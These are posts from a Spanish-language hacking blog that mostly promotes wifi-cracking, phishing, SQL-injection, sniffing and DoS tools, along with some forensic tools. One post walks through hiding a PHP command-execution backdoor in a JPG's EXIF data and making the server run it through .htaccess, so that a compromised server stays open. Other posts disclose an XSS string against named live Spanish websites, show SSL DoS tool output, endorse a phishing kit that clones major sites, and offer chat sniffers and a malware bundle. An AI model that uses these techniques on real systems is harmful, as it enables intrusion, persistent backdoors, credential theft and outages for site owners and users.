h33z - hacking resources

[Wifi] Xiaopan OS

2013-08-08T00:15:00.002+02:00

Xiaopan OS es un sistema operativo basado en linux (concretamente en TCL), con software muy facil de usar y con herramientas avanzadas e ideales para penetrar redes wifi basadas en WPA, WPA2, WPS Y WEP.

Tambien dispone de una interfaz grafica muy intuitiva que nos ahorra el tener que escribir comandos por consola.
Otro de sus puntos fuertes es el pequeño tamaño (~70MB), que nos permite tenerlo en cualquier pen drive y bootearlo desde ahi. Ademas Xiaopan OS es compatible con Windows, Mac y Linux.

Captura de pantalla del entorno:

Una pequeña demostracion de uno de sus usos:

Alguna de las herramientas incluidas:

- Inflator
- Aircrack-ng
- Minidwep GTK
- XFE
- Wifite
- Feeding Bottle
- Reaver

Es compatible con casi todos los modelos de tarjetas de red actuales.

Si os habeis decidido a instalarlo o a usarlo, lo que os recomiendo es que utilicéis alguna herramienta como LiLi (http://www.linuxliveusb.com/), para bootear o instalar desde usb, ya que es muy intuitivo su uso y reduce el tiempo que invertir.

Por ultimo el enlace al proyecto:
http://sourceforge.net/projects/xiaopanos/

[WPSdb] Base de datos de pines WPS

2013-02-22T03:00:00.000+01:00

WPSdb es un sitio que recauda información interesante sobre pines de WPS (Wifi Protected Setup) de redes WIFI, creando una base de datos accesible para cualquier usuario. Puedes realizar busquedas según la dirección MAC, agregar más pines, etc. Actualmente hay mas de 500 pines disponibles en la base de datos y todos de acceso libre.

Screenshots:

Enlace al sitio:
WPSdb

Más informacion sobre WPS:
+Info

Ocultando codigo PHP en los metadatos de un JPG

2012-04-19T15:52:00.000+02:00

Resulta sencillo usar los metadatos EXIF de una imagen JPEG para ocultar código PHP, por ejemplo para dejar un backdoor en la imagen de nuestro avatar en un servidor ya comprometido.

Existen varias herramientas para manipular los metadatos EXIF. Entre todos ellos una de las mejores herramientas para esto es jhead. Para empezar seleccionamos nuestra imagen JPG y miramos sus metadatos con jhead:

C:\>jhead h33z.jpg
File name    : h33z.jpg
File size    : 71384 bytes
File date    : 2012:04:17 14:31:40
Resolution   : 492 x 369

Para insertar nuestro código PHP introducimos:

C:\>jhead -ce h33z.jpg

A continuación se introduce el código PHP que queramos ocultar como por ejemplo:

"<?php passthru($_POST['cmd']); __halt_compiler();" -> El cual nos permite ejecutar un comando a la maquina con peticiones POST gracias a la funcion passthru.

Una vez que hemos ocultado el código en la imagen, tendremos que forzar que el servidor web maneje un fichero jpg como si fuera un fichero php. Para ello añadiremos AddType en el fichero .htaccess del directorio de las imágenes. Como ejemplo:

C:\>echo AddType application/x-httpd-php .jpg >> d:\htdocs\server\images\.htaccess

Una vez hecho esto tendremos nuestra imagen ejecutando el código PHP sin problemas.

Esta técnica serviría en un servidor ya comprometido en el cual pudiéramos modificar el fichero .htaccess para que nuestro JPG ejecutara código.

Enlace de descarga jhead: http://www.sentex.net/~mwandel/jhead/

[Analisis forense] RadioGraphy 1.0

2012-04-17T17:23:00.000+02:00

RadioGraphy es un programa muy util a la hora de realizar un analisis forense de cualquier ordenador ya que nos permite deducir mediante la información que obtiene si ese equipo esta comprometido o no, como su nombre indica, intenta 'radiografiar' el sistema y obtener la mayor cantidad de datos relevantes posibles como los siguientes:

Las claves del registro asociadas al auto-arranque de procesos
Las claves del registro asociadas a la configuración de IE
Las cuentas de usuario del sistema
Los ficheros en directorios 'startup'
Los servicios del sistema
El contenido del fichero 'hosts'
Los 'task' del scheduler de windows
Los drivers o módulos cargados en el Kernel de Windows
Carpetas compartidas por NetBios
Ventanas ocultas (cmd y IE)
La lista de procesos activos en el sistema y el path del ejecutable
Información relacionada con la red (puertos abiertos, conexiones, etc)

El programa dispone de una característica que cuando encuentra un binario, ya sea un proceso en ejecución o un binario asociado a una clave de registro / task, comprueba si su hash ha sido identificado como sospechoso.

También esta integrado 'WinUnhide' para que realice un test de integridad de procesos en búsqueda de procesos ocultos.

La herramienta cuenta con una versión por línea de comandos y otra en GUI.

Pagina del proyecto y descarga:

http://www.security-projects.com/?RadioGraPhy

Sniffers para Whatsapp y Tuenti Chat

2012-02-25T17:14:00.000+01:00

Aquí os dejo dos herramientas mas o menos recientes que actúan como sniffer para captar los datos enviados por estas dos aplicaciones ya que utilizan el mismo protocolo XMPP (una tecnología de comunicación en tiempo real muy potente y utilizada actualmente) y envían todo bajo texto plano...

Tuenti Chat - Tuenti Sniffer

El chat de tuenti usa el protocolo XMPP, una potente y actual tecnología de comunicación en tiempo real muy extendida y usada en WhatsApp (aunque este usa una modificación de xmpp realmente). Cuando nos conectamos, tuenti asigna de forma aleatoria un servidor situado de 1 a 9 quedando por ejemplo xmpp1.tuenti.com.

Los mensajes enviados no van en cifrados, de modo que cualquier persona puede leerlos, obtener el userid que corresponde a que personas envían los mensajes y a que personas los reciben, y más.

Tuenti Sniffer es capaz de leer las conversaciones de tuenti que pasen por la red local.

Y es capaz también de suplantar o robar su ID y capturar los datos enviados durante la conversación en el chat de tuenti.

-Enlace para la descarga:

http://www.ldelgado.es/?tuentisniffer

(*es necesario tener instalado Java 6 JRE y la librería JPCap 0.7)

Whatsapp - Whatsapp Sniffer

Whatsapp es un servicio de mensajería instantánea disponible para cualquier smartphone actual y que usa el protocolo xmpp para la transmisión de datos. Whatsapp tiene como destino el puerto 443(HTTPS) aunque todo viaja bajo texto plano. Los datos de XMPP son enviados a bin-short.whatsapp.net bajo el puerto 5222.

WhatsAppSniffer que muestra en consola todas las conversaciones, identificadores y demás que pasan por la red cuando se está usando whatsapp. Una forma mucho mas cómoda y fácil de obtener estos datos que usando otros sniffers como wireshark.

Descarga WhatsAppSniffer

Descarga del código fuente

Reaver: herramienta para hackear redes wifi protegidas con WEP y WPA/WPA2 PSK mediante WPS (WiFi Protected Setup)

2012-02-21T20:49:00.000+01:00

Hay muchas herramientas y formas de crackear redes Wifi, pero una de las formas mas efectivas contra redes WPA/WPA 2 es utilizando este programa que aprovecha la característica WPS (WiFi Protected Setup) la cual permite a los usuarios introducir un PIN de 8 dígitos para conectarse a una red segura sin tener que introducir una contraseña. Reaver implementa un ataque de fuerza bruta contra el WPS a fin de recuperar contraseñas WPA/WPA2 obteniendo el PIN para luego extraer el PSK. Reaver ha sido diseñado para ser un ataque sólido y práctico contra la WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones del WPS.

En promedio con Reaver se tendrá acceso a WPA/WPA2 en unas 4 a 10 horas, dependiendo de la de la señal Wifi. También hay que destacar que el 95% de los routers traen por defecto activado el WPS.

-Video de demostración con Reaver:

- Mas información sobre WPS:
http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf

- Descarga:
http://code.google.com/p/reaver-wps/

The harvester: herramienta para recabar información

2012-01-31T18:28:00.000+01:00

The harvester es una herramienta para conseguir informacion sobre emails, subdominios, hosts, nombres de empleados, puertos abiertos, banners... desde fuentes publicas como son los moteres de busqueda, servidores PGP y la base de datos de SHODAN.

Es una herramienta muy sencilla pero realmente efectiva.

Las fuentes de donde coge la informacion son:
- Google

- Perfiles de Google

- Bing

- PGP Servers

- Linkedin

- Exalead

Nuevas características

     -Intervalos de tiempo entre las solicitudes
     -XML y HTML como resultados de exportación
     -Buscar un dominio en todas las fuentes
     -Verificador de host virtual
     -Shodan base de datos integrada
     -Enumeración de activos (enumeración DNS, las búsquedas de DNS inversa, DNS expansión TLD)
     -Gráfica con las estadísticas básicas

- Ejemplo de uso:

./theharvester.py -d microsoft.com -l 200 -b google

-b = fuente de datos (pgp, google, linkedin, all...)

-l = numero de resultados para consultar

-d = dominio sobre el que queremos hacer la consulta

Descarga

theHarvester

Curso completo sobre Metasploit Framework

2012-01-27T16:39:00.000+01:00

Desde offensive-security.com nos traen este completo curso sobre Metasploit llamado metaspoit unleashed y que abarca muchos aspectos, algunos son básicos que debes tener en cuenta a la hora de ejecutar Metasploit, como los requerimientos de tu maquina, pasando por su instalación, hasta tocar temas como la interacción con metasploit, como programar sobre ella y como ejecutar tu propio exploit programado con este framework.

Metasploit unleashed

Listado de herramientas de esteganografía

2011-12-16T16:00:00.000+01:00

En un paper de Pedram Hayati se puede observar este listado que incluye hasta un total de 111 herramientas de esteganografía y estegoanálisis clasificadas por categorías. El estudio se realizó desde un perspectiva forense para identificar que herramientas están disponibles en Internet y cuáles de ellas podrían ser utilizadas por diferentes organizaciones.

Las herramientas se agrupan segun sean para imagenes (con codigo fuente disponible o no), para sonidos, para textos, para archivos de sistema y discos duros, y para archivos con diferentes extensiones como ".doc", ".jpeg", ".gz", ".exe", ".dll"...

También se incluyen herramientas para estegoanálisis.

Aqui os dejo el paper completo:
Survey of Steganography and Steganalytic Tools

Descarga del paper: http://www.pedramhayati.com/images/docs/survey_of_steganography_and_steganalytic_tools.pdf

OccupyOS: sistema operativo para activistas

2011-12-12T21:28:00.000+01:00

OccupyOS es una distribución de Linux basada en Gentoo e inspirada en el movimiento Occupy Wall Street, orientada a activistas y diseñada para ofrecer un entorno seguro para editar y publicar documentos, navegar por la web (administrar sitios, Twitter y páginas de Facebook) y establecer comunicaciones seguras entre el usuario y otros activistas e Internet. Occupy OS es una combinacion entre seguridad y usabilidad perfecta para activistas y que es util en casos como el movimiento Occupy Wall Street.

Todavía está en desarrollo y no tiene versión estable, pero ya es posible descargar una interesante beta que incluye navegación anónima (Tor o VPNs), chat de voz y conferencia cifrados (Mumble), mensajería instantánea cifrada (Pidgin-OTR y Xchat-OTR), edición de imágenes (Gimp) y herramientas para el borrado seguro del disco, lo que nos ofrece una seguridad completa.

Pagina oficial: http://wiki.gitbrew.org/wikibrew/OccupyOS

Descarga directa: http://gitbrew.org/releases/occupyos/occupyOS-1.0.0b1-intractable.iso

[Phishing] Social Engineering Ninja v0.4

2011-11-28T14:26:00.001+01:00

Social Engineering Ninja es una popular herramienta escrita en PHP la cual contiene poderosas herramientas para ataques de ingeniería social, su punto fuerte es el área del phishing ya que contiene varias copias falsas de sitios web famosos para capturar contraseñas y puede ejucatar exploits en navegadores actualizados. Actualmente su ulima versión es esta, la 0.4.

Entre la lista de paginas web falsas que contiene se encuentran:
- Amazon.com
- Twitter.com
- Facebook.com
- Gmail.com
- Paypal.com
- Yahoo.com
- Digg.com y otras muchas más...

Como metodos encontramos dos tecnicas bastante utilizadas como tabnapping y un XSS stealing que podemos usar para infectar algun dominio o aprovechar algun XSS de forma masiva en alguna red social o pagina web famosa..

En el menu del programa podemos ver herramientas de phishing, un mailer, herramienta para tabnabbing, exploits, un packer, un uploader, un xss stealer y otra herramienta para capturar IPs.

- Instalación:
La instalación resulta bastante sencilla:
- Copiamos la carpeta descomprimida al servidor.
- Cambiamos el archivo de configuración por los datos de nuestra base de datos y servidor
. El archivo se encuentra en /config/config.php.
- Ingresamos desde el navegador en la web en la carpeta /install/ y seguimos los pasos hasta completar la instalación.

- Protección:
Para evitar estas técnicas de phishing es conveniente mirar la direccion de la pagina web en la que estamos antes de dar nuestros datos...

O bien comprobando el certificado de seguridad de la pagina web:

- Capturas de pantalla:

- Descarga:
Social Engineering Ninja v0.4

[Paper] Diferentes ataques a redes wifi

2011-11-26T12:44:00.001+01:00

Aquí os dejo este paper de Aetsu que reune la mayor parte de ataques a redes wifi, mostrando todos los pasos necesarios para realizarlos.

A través de la distribución BackTrack 5 R1, se mostrara el uso de herramientas de la suite aircrack-ng para el ataque a puntos de acceso y otras utilidades para descifrar la contraseña.

Además, muestra las consecuencias de conectarnos a puntos de acceso desconocidos o no protegidos, viendo el potencial de programas como Ettercap, Metasploit o SET (Social Engineering Toolkit).

Aqui el paper completo:
#breaking80211 by Aetsu

sqlsus 0.7.1 - Herramienta para inyeccion SQL

2011-11-21T15:50:00.000+01:00

Sqlsus es un programa de codigo abierto escrito en perl para testear y realizar ataques sql injection. Desde la linea de comandos del programa se puede conseguir la estructura de la base de datos, introducir tus propias cadenas SQL, descargar archivos del servidor web, rastrear el servidor en busca de directorios con permisos de escritura, cargar y ejecutar un backdoor, clonar la base de datos y mucho mas. Sqlsus se centra en la rapidez y en la eficiencia, optimizando el espacio de la inyeccion SQL y haciendo los mejores usos de las funciones de MySQL. Usa un poderoso algoritmo que permite capturar mas datos generados por el servidor. Sqlsus es muy veloz a la hora de conseguir datos y estructuras de bases de datos. Si los privilegios son los suficientes sqlsus puede ser lo suficientemente util como para cargar un backdoor en el servidor a traves de SQLi. En la version 0.7, sqlsus soporta time-based blind injection y detecta automaticamente el servidor web.

Aquí los cambios de la nueva versión en inglés:

Added time-based blind injection support (added option “blind_sleep”, and renamed “string_to_match” to “blind_string”).

It is now possible to force sqlsus to exit when it’s hanging (i.e.: retrieving data), by hitting Ctrl-C more than twice.

Rewrite of “autoconf max_sendable”, so that sqlsus will properly detect which length restriction applies (WEB server / layer above). (removed option “max_sendable”, added options “max_url_length” and “max_inj_length”)

Uploading a file now sends it into chunks under the length restriction.

sqlsus now saves variables after each command, so that forcing it to quit (or killing it) will not discard the changes that were made.

Added a progress bar to inband mode, sqlsus now determines the number of rows to be returned prior to fetching them.

get db (tables/columns) in inband mode now uses multithreading (like everything else).

clone now uses count(*) if available (set by “get count” / “get db”), instead of using fetch-ahead.

In blind mode, “start” will now test if things work the way they should, by injecting 2 queries : one true and one false.

sqlsus now prints what configuration options are overridden (when a saved value differs from the configuration file).

Descarga:
sqlsus-0.7.1.tgz

Hackeando routers con una aplicación de facebook

2011-11-19T15:59:00.000+01:00

Resulta fácil obtener credenciales de distintos usuarios y atacar equipos específicos mediante la configuración del Router, también como automatizar dicho proceso.

La PoC fue una app de facebook la cual al ser visitada por la víctima, si la víctima tenia credenciales por defecto admin/1234 (mas del 70% de los casos) mediante Curl se modificaba la configuración de dicho router cambiando las DNS predefinidas para poder redirigir el trafico.

Así se podrían realizar distintos ataques de phishing y obtener distintas contraseñas de paginas web asi como la información introducida en esas páginas.

Scripts para descargar:
http://code.google.com/p/ror-tools

Presentación del proyecto:
http://www.slideshare.net/DrNe0x/routers-contraseas-por-defecto-limahack2011
La prueba fue realizada con un Router Billion, pero mediante condicionales y lectura de cabeceras de cada modelo de router se podría conseguir un ataque mas eficaz.

Fuente: diosdelared.com

w3af v1.1 programa para auditar y atacar paginas web

2011-11-16T15:36:00.000+01:00

w3af es un programa para auditar y atacar paginas web. El objetivo del proyecto es crear una aplicación para encontrar y explotar vulnerabilidades de aplicaciones Web que es fácil de usar y desarrollar.

w3af y sus plugins están completamente escritos en python. El proyecto tiene más de 130 plugins para comprobar inyección SQL, cross site scripting (XSS), la inclusión de archivos locales y remotos, y mucho más...

Puedes descargar w3af aquí:
w3af-1.1.tar.bz2

Tecnicas de pentesting y analisis de servidores y aplicaciones

2011-11-14T15:27:00.000+01:00

Aqui os dejo un paper bastante interesante y completo desarrollado por CSIRT-cv, junto con INTECO-CERT el cual es un informe que analiza diferentes técnicas y herramientas para recolectar información de la red.

El informe tiene como principales objetivos, en primer lugar proporcionar el conocimiento que ayude a las organizaciones y organismos a ver qué información se encuentra expuesta y accesible de manera pública en Internet y por otro lado, concienciar de los riesgos de una mala gestión de la información, y cómo esta mala gestión puede ser aprovechada por terceros.

El paper utiliza la programas incluidos en la ultima distribución de Backtrack.

Podeis descargaros el informe en el siguiente enlace.

Identificar vulnerabilidades en Joomla y Wordpress

2011-11-11T15:32:00.001+01:00

Los mayores problemas de seguridad de los gestores de contenido más populares como Wordpress o Joomla, suelen venir por la instalación de plugins que no están lo suficientemente revisados y auditados. Analizar uno de estos CMS es sinónimo de conocer que plugins tiene e identificar las vulnerabilidades que les afecta.

Con ese propósito estan: Plecost para Wordpress y JoomlaScan para Joomla.

Plecost, está desarrollada en python la última versión es la 0.2.2-9 y está integrada en distribuciones como Backtrack 5.

Joomlascan, está desarrollado en perl la última versión es la 1.3. Este script también permite auto actualizarse, identifica plugins y reporta vulnerabilidades potenciales, tanto del core del CMS, como de plugins instalados.

Compilado de Malware conocidos

2011-11-10T15:18:00.000+01:00

Aquí os dejo un total de 59 malwares pre-compilados para poder analizar su codigo fuente, algunos muy conocidos y buscados como melissa, chernobyl, backorifice... La descarga se compone de 5 partes de 12 MB cada una.

Bagle

BatzBack

Beatrix

Biennale

Blackbat

Blaster

BloodRed

Caribe

Chernobyl

CodeBlue

CodeRed

Dbot 3.1

Dos

ErrorPage

Esenin

Ferox

Firefly

Happy99

Irc-Worm

Klex-H

Letum

Lion

LittlePain

Matrix.A

Mescalina

MichelAngelo

Morris

MscanWorm

Mydoom

Myspace Worm

MyTob.Y

MyWebSearch

Netsky

Nimda

Parite

Piece

Ramen

Sadmind

Santy

Sasser

Sdbot

Sharp

Sircam

Slammer

Slapper

Sobig

Spawn

Stoned

SyntaxError

Tamiami

Tirannis

Trojan

Veelasco

Worm

Wratharage

Yahasux

Yourdoom

ZeroBoard

Zotob

Descarga:

Vía: ar3sw0rmed.com.ar

[Metasploit] Vulnerabilidad en Microsoft Office 2007 (*.xlb)

2011-11-09T21:15:00.000+01:00

Este módulo se aprovecha de una vulnerabilidad en Excel de Microsoft Office 2007. Mediante el suministro de un archivo con formato incorrecto *.xlb, un atacante puede controlar el contenido (código) de una rutina de memcpy, y el número de bytes a copiar, causando un stack- based buffer overflow. Esto da como resultado la ejecución de código arbitrario.

Referencias:

CVE-2011-0105

MS11-021

ZDI-11-121

Versiones afectadas:

Microsoft Office XP Service Pack 3

Microsoft Office 2003 Service Pack 3

Microsoft Office 2007 Service Pack 2

Microsoft Office 2010 (32 y 64 bits edición)

Microsoft Office 2004 para Mac

Microsoft Office 2008 para Mac

Microsoft Office 2011 para Mac

Abrir archivos con formatos XML para Mac

Microsoft Excel Viewer Service Pack 2

Microsoft Office Compatibility Pack para Word, Excel y PowerPoint 2007 con Service Pack 2

Rec Studio 4 – Reverse Engineering Compiler & Decompiler

2011-11-09T16:10:00.000+01:00

REC Studio es un decompilador interactivo el cual lee un arcivo ejecutable ya sea de windows, linux o Mac OS X y intenta producir una representacion del codigo en C usado para crear ese programa.

REC Studio 4 usa tecnicas de analisis avanzadas como Single Static Assignment (SSA) y permite cargar archivos de Mac OS X y binarios en 32 y 64 bits.

Aunque sigue en desarrollo presenta muchas nuevas mejoras respecto a su version anterior REC Studio 2.

Caracteristicas:

- Multiobjetivo: REC puede decompilar 386 (x86 y x86_64), 68k, PowerPC MIPS R3000 y programas Sparc.

- Multiformato: REC reconoce los siguientes formatos de fichero: o ELF (System V Rel. 4, por ejemplo Linux, Solaris etc.) o PE (Win32 .EXE y .DLL para Microsoft Windows 95 y XP) o Raw binary data (vía ficheros .rpj)

- Multihost: REC está disponible para Linux (i386), Windows XP y Mac OS X 10.6.

- Simbólico: soporta la información de definiciones simbólicas de alto nivel en ELF/Dwarf2 con soporte parcial para leer ficheros PDB de Microsoft. Los tipos de fichero en formato texto (como la salida objdump de GNU) permiten la definición de tipos por parte del usuario sin necesidad de compilar a ELF/Dwarf2. El soporte para formatos antiguos como COFF y STABS se añadirá en un futuro.

- Interactivo: el usuario puede inspeccionar el código generado y añadir y guardar la información para ayudar a mejorar la calidad de la salida decompilada.

Aunque REC puede leer los ejecutables Win32 (PE) generados por Visual C++ o Visual Basic 5 hay limitaciones en los resultados obtenidos. REC intentará utilizar toda la información de la tabla de símbolos del ejecutable pero si el EXE fue compilado sin información de depuración, si se utilizó un formato PDB o C7 o si se habilitó la opción de optimización la salida producida no será muy buena.

Descarga:

Windows – RecStudioWin.zip
Ubuntu – RecStudioLinux.tgz
Mac – RecStudioMac.tgz

Fuente: darknet.org.uk

[XSS] hispavista.com y otros

2011-11-03T15:41:00.000+01:00

Aquí os dejo unas cuantas vulnerabilidades XSS (Cross site scripting) en las webs pertenecientes a hispavista.com, como son:

hispavista.com
neopolis.com (Red Social)
labolsa.com
galeon.hispavista.com

La vulnerabilidad se encuentra en los buscadores de esas paginas, al introducir una cadena simple como "><script>alert(/XSS/)</script> nos podemos dar cuenta del fallo.

Aqui los links donde podeis observar el fallo al introducir esa cadena en los buscadores de esas paginas:

Hispavista.com
Galeon
Labolsa.com
Neopolis.com

[DoS/DDoS] THC SSL Tool

2011-11-02T20:07:00.000+01:00

THC-SSL-DOS es una herramienta para comprobar el rendimiento de las conexiones SSL. Establecer una conexion segura requiere 15 veces mas procesamiento en el servidor que en el cliente. Esta herramienta usa esa propiedad para sobrecargar el servidor y provocar que se caiga. Este problema afecta a todas las implementaciones de SSL.

Ejemplo de uso:

./thc-ssl-dos 127.3.133.7 443
Handshakes 0 [0.00 h/s], 0 Conn, 0 Err
Secure Renegotiation support: yes
Handshakes 0 [0.00 h/s], 97 Conn, 0 Err
Handshakes 68 [67.39 h/s], 97 Conn, 0 Err
Handshakes 148 [79.91 h/s], 97 Conn, 0 Err
Handshakes 228 [80.32 h/s], 100 Conn, 0 Err
Handshakes 308 [80.62 h/s], 100 Conn, 0 Err
Handshakes 390 [81.10 h/s], 100 Conn, 0 Err
Handshakes 470 [80.24 h/s], 100 Conn, 0 Err

- Los servidores normalmente suelen hacer 300 handshakes por segundo. Esto requeriria 10-25% del CPU de un portatil.
- El puerto HTTPS (443) no es siempre el mejor para realizar los ataques. Prueba tambien con otros puertos y servicios como POP3S, SMTPS, ...

Descarga:

Windows: thc-ssl-dos-1.4-win-bin.zip
Linux: thc-ssl-dos-1.4.tar.gz

[Linux] DEFT (Digital Evidence & Forensic Toolkit)

2011-10-31T14:28:00.000+01:00

DEFT (Digital Evidence & Forensic Toolkit) es una distribución Live CD (booteable desde el CD) basada en Ubuntu con kernel 2.6.35, muy fácil de usar, con un grandísimo listado de herramientas forenses y con una excelente detección del hardware.

DEFT es una de las distribuciones de análisis forense que más han avanzado en estos últimos años, no solo han añadido una gran cantidad de herramientas forenses a su lista, sino que se han sabido adaptarse a su entorno y emular las características de otras distribuciones similares CAINE de donde se han inspirados para sacar el DEFT Extra.
DEFT (Digital Evidence & Forensic Toolkit) está dividida en dos, su entorno y herramientas booteables que recogen lo mejor del software libre para el análisis forense y DEFT Extra un conjunto de herramientas gratuitas para análisis forense en entornos Windows.
En DEFT podemos encontrar las siguientes herramientas para realizar Análisis Forense:

sleuthkit 3.2.0, collection of UNIX-based command line tools that allow you to investigate a computer

autopsy 2.24, graphical interface to the command line digital investigation tools in The Sleuth Kit

DFF 0.8

dhash 2.0.1, multi hash tool

aff lib 3.6.4, advanced forensic format

disk utility 2.30.1, a partition manager tool

guymager 0.5.7, a fast and most user friendly forensic imager

dd rescue 1.14, copy data from one file or block device to another

dcfldd 1.3.4.1, copy data from one file or block device to another with more functions

dc3dd 7, patched version of GNU dd to include a number of features useful for computer forensics

Xmount 0.4.4, convert on-the-fly between multiple input and output hard disk image types

foremost 1.5.6, c onsole program to recover files based on their headers, footers, and internal data structures

photorec 6.11, easy carving tool

mount manager 0.2.6, advanced and user friendly mount manager

scalpel 1.60, carving tool

wipe 0.21

hex dump, combined hex and ascii dump of any file

outguess 0.2 , a stegano tool

ophcrack 3.3.0, Windows password recovery

Xplico 0.6.1 DEFT edition, advanced network analyzer

Wireshark 1.2.11, network sniffer

ettercap 0.7.3, network sniffer

nmap 5.21, the best network scanner

dmraid, discover software RAID devices

testdisk 6.11, tool to recover damaged partitions

ghex, light gtk hex editor

vinetto 0.6, tool to examine Thumbs.db files

trID 2.02 DEFT edition, tool to identify file types from their binary signatures

readpst 0.6.41, a tools to read ms-Outlook pst files

chkrootkit, Checks for signs of rootkits on the local system

rkhunter 1.3.4, rootkit, backdoor, sniffer and exploit scanner

john 1.7.2, john the ripper password cracker

catfish, file search

galletta 1.0

pasco 1.0

md5sum, sha1sum, sha224sum, sha256sum, sha512sum

md5deep, sha1deep, sha256deep

skype log view, skype chat conversation viewer

Xnview, viewer graphics, picture and photo files

IE, Mozilla, Opera and Chrome cache viewer

IE, Mozilla, Opera and Chrome history viewer

Index.dat file analyzer

pdfcrack, cracking tool

fcrackzip, cracking tool

clam, antivirus 4.15

mc, UNIX file manager

Descargar DEFT (ultima versión)

Fuente: dragonjar

FOCA 3.0 listo para descargar

2011-10-30T14:21:00.000+01:00

FOCA es una herramienta para la realización de procesos de fingerprinting e information gathering en trabajos de auditoría web. La versión Free realiza búsqueda de servidores, dominios, URLs y documentos publicados, así como el descubrimiento de versiones de software en servidores y clientes. FOCA se hizo famosa por la extracción de metadatos en documentos públicos, pero hoy en día es mucho más que eso. Aqui os dejo la presentación del programa en la DEFCON 18 muy completa:

Descarga:

FOCA 3.0

Instalando programas de Backtrack 5 en otra distro linux

2011-10-29T17:15:00.000+02:00

Primero que nada necesitamos lo siguiente:

Archivos necesarios

Bueno abrimos una terminal y tecleamos:

gksudo nautilus

Una vez nos vamos al directorio /etc/xdg/ donde veremos una carpeta nombrada "menus" ahora cogemos la carpeta menus que descargamos al inicio del articulo pegandola en el directorio /etc/xdg para sustituir la que ya estaba estructurada, haciendo backup.

una vez hecho esto abrimos una terminal y tecleamos:

sudo gedit /etc/apt/sources.list

Agregamos los repositorios de BT5:

###########BACKTRACK 5###################################

deb http://all.repository.backtrack-linux.org revolution main microverse non-free

testing

deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing

deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

le pedimos la Llave al servidor

wget -q http://all.repository.backtrack-linux.org/backtrack.gpg -O- | sudo apt-key add -

y finalizamos con un

sudo apt-get update

Vista Previa con algunas herramientas instaladas que activaron ciertos menus categoricos:

No se ve tan cargado como el original de bT5 por que no he instalado todas las tools que este trae, solo instale algunas para mostrar la previa en este presente articulo.

Para poner los menus en nuestro idioma natal solo basta con editar el archivo applications.menu

que se encuentra en la ruta: /etc/xdg/menus/

Captura de cambio de Idioma:

Fuente: maztor.blogspot.com